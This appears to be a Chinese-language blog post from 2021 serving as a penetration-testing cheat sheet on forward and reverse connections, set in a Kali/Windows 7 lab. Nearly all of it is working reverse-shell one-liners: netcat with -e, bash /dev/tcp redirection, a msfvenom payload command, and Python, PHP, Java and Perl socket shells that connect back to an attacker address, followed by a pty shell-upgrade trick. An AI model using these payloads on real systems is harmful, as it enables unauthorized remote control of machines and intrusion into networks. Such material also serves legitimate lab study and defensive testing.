渗透_端口转发&反弹shell

nc.exe

正向连接和反向连接

正向连接:攻击机(内网)连接被攻击机(外网),用于攻击者处于内网,被攻击者处于外网
反向连接:被攻击者主动连接攻击者,用于攻击者处于外网,被攻击者处于内网

如
实验环境
kali:192.168.10.129 ---仅主机模式  外网
win7:10.10.10.129 -----NAT模式     内网
正向连接:win7攻击者处于内网,kali被攻击者处于外网
kali(被攻击机):在kali上面做监听,并将shell界面发送给目标
nc -lvvp 8989 -e /bin/bash
win7(攻击机):在攻击者上面执行连接操作
nc 192.168.10.129 8989
反向连接:
kali(外网,攻击机):
   nc -lvvp 8989
win7(内网,被攻击机):
   nc.exe -e cmd 192.168.10.129 8989

Bash反弹

bash -i >& /dev/tcp/攻击者ip/攻击者监听的端口 0>&1
bash -i:产生一个bash交互环境
&:将前面的内容与后面的内容相结合,然后一起重定向给后者
/dev/tcp/攻击者ip/攻击者监听的端口 让被攻击者与攻击者建立一个tcp连接
0>&1:执行标准的输入输出

msf反弹

msfvenom -p cmd/unix/reverse_python lhost=192.168.10.129 lport=8989 R

python脚本反弹

开监听,nc -lvp 端口
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击者ip',监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

php脚本反弹

php -r 'exec("/bin/bash -i >& /dev/tcp/攻击者ip/监听端口")'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

java脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

perl脚本反弹

perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
配置虚拟化标准终端:
python -c "import pty;pty.spawn('/bin/bash')"
-c:命令行执行
import pty:导入标准库pty
pty.spawn:使用spawn方法去调用/bin/bash获取一个标准化虚拟终端
posted @ 2021-04-30 08:15  zhbkai  阅读(204)  评论(0编辑  收藏  举报